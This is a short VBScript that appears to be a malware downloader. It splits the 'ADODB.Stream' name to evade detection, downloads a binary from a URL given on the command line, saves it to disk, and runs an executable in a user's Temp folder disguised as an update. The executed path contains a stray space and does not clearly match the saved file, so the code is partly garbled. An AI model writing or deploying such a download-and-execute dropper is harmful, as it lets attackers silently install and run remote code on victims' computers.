Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim S
Dim A
Dim DTNDTN
S = "ADODB"
A = ".Stream"
Set DTNDTN = CreateObject(S+A)
DTNDTN.Type = adTypeBinary
DTNDTN.Open
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))
DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite
Function BinaryGetURL(URL)
Dim Http
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1")
Http.Open "GET", URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function
Set shell = CreateObject("WScript.Shell")
shell.Run "C:\Users\MeinBenutzerHalt\AppData\Local\Temp\upda te.exe"